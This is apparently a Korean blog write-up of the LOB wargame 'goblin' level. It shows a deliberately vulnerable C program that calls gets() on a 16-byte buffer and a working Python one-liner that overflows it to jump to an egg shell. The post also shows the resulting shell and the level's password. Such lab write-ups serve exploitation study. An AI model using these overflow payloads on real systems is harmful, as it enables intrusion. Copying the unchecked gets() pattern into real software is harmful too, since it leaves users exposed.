Wargame & CTF/LOB

[LOB] cobolt -> goblin

cg10036 2019. 7. 28. 22:29
1
2
3
4
5
6
7
8
9
10
11
12
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/
 
int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}
cs


gremlin과 버퍼 사이즈는 같고, 이제 argv에 받지 않고 gets로 직접 입력받는다.

[BUFFER(16)][SFP(4)][RET(4)] 이므로 "A"*20+&SHELL 하면 쉘을 딸 수 있을것이다.

gate와 같이 에그쉘을 사용했다.


1
2
3
4
5
[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa6\xfa\xff\xbf"'; cat) | ./goblin 
AAAAAAAAAAAAAAAAAAAA¦
my-pass
euid = 503
hackers proof
cs


goblin : hackers proof